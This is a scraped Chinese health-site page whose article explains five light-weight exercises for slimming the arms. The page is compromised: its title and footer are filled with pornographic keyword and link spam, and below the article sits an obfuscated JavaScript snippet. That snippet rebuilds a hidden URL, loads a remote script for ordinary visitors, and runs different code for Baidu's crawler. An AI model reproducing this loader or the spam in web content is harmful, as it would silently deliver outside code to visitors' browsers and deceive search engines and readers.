久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當(dāng)前位置:首頁 > 減肥 > 運動減肥 > 正文

高效瘦手臂的動作秘籍 動一動就瘦

2017-03-09 08:41:51  來源:360常識網(wǎng)   熱度:
導(dǎo)語:此組瘦手臂的動作可借助一些輕重量級的器械,如小啞鈴(2 5磅-5磅),沒有器械時,1瓶礦泉水、1本字典也可任你信手拈來。重量的選擇要應(yīng)人而異,量力而行。如果想練出比較明顯的肌肉就要選擇重量略大的器械。

完美的女人,不論哪個位置都要漂亮,手臂也不例外,松弛的手臂大大影響了身材的美觀,同時也容易暴露年齡哦!那么要如何瘦手臂呢?下面小編給大家介紹5組瘦手臂的動作,高效瘦手臂,幫你練出纖細(xì)美臂。

1.雙手共握一重物,垂直上舉,以肘為軸向后疊臂,直至后側(cè)肌肉充分伸展,再用力把臂伸直,目的是鍛煉手臂后側(cè)松弛的肌肉,令其結(jié)實有質(zhì)感。(8-12次)

2.肩側(cè)推舉,雙手各握重物,肩側(cè)曲臂,手心向前,用力向上推舉,至兩重物相碰,再原路收回。此動作集中鍛煉臂部三角肌,以明顯改善肩部外觀,使雙臂挺拔,改變溜肩、窄肩等不良形體。(10次)

3.雙手各握重物,手心向后,雙臂微曲,由體前成弧線向兩側(cè)拉開至肘部略高于肩部,返回。(8—10次)

4.雙手各握重物,上臂稍貼緊軀干,以肘為軸,兩臂交替向上做彎舉動作,至肌肉完全收緊,停2秒后向下伸直。(8—12次)

5.雙手正握或反握重物,雙臂自然彎曲,腕部交替屈伸。(8—10次)

動態(tài)練習(xí)必然要用到一些重物,然而重量越大,動作不規(guī)范的可能性就越大,手臂也容易受到損傷,因此建議用意念和感覺促使肌肉緊繃,而不是單純依靠重量刺激肌肉。同時所有動作都應(yīng)慢速完成。為防止扭傷,提高身體的靈活性,鍛煉前后都要做伸展運動,避免肌肉緊張結(jié)塊,保持良好的身體姿態(tài)。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 男女羞羞羞视频午夜视频 | 一区二区不卡视频在线观看 | 国产成人免费 | 日韩视频一区二区三区 | 69av片| 日韩精品久久久久久 | 99精品国产一区二区 | 青青草亚洲 | 亚洲无吗电影 | 91黄色在线观看 | 99国产精品一区 | 国产女人高潮大叫a毛片 | 亚欧洲精品视频在线观看 | 亚洲三级网站 | 精品久久久久久国产 | 欧美日日| 午夜精品成人一区二区 | 一区二区在线电影 | 成人激情视频在线免费观看 | 国产成人精品一区二区三区视频 | 国产精品久久久久国产a级 一区免费在线观看 | 日韩av在线电影 | 黄色的网站在线 | 国产黄色在线观看 | 冲田杏梨毛片 | 99精品99 | 国产精品久久二区 | 噜噜噜在线视频 | 色偷偷噜噜噜亚洲男人 | 亚洲cb精品一区二区三区 | 国产伦精品一区二区三区四区视频 | 日韩中文视频 | 探花在线观看 | 五月天久久激情 | 精品国产一区二区三区电影小说 | 蜜臀久久99精品久久久久久宅男 | 成人在线国产 | 玖玖在线精品 | 久久久国产一区二区三区四区小说 | 色综合成人 | 女性隐私网站视频 |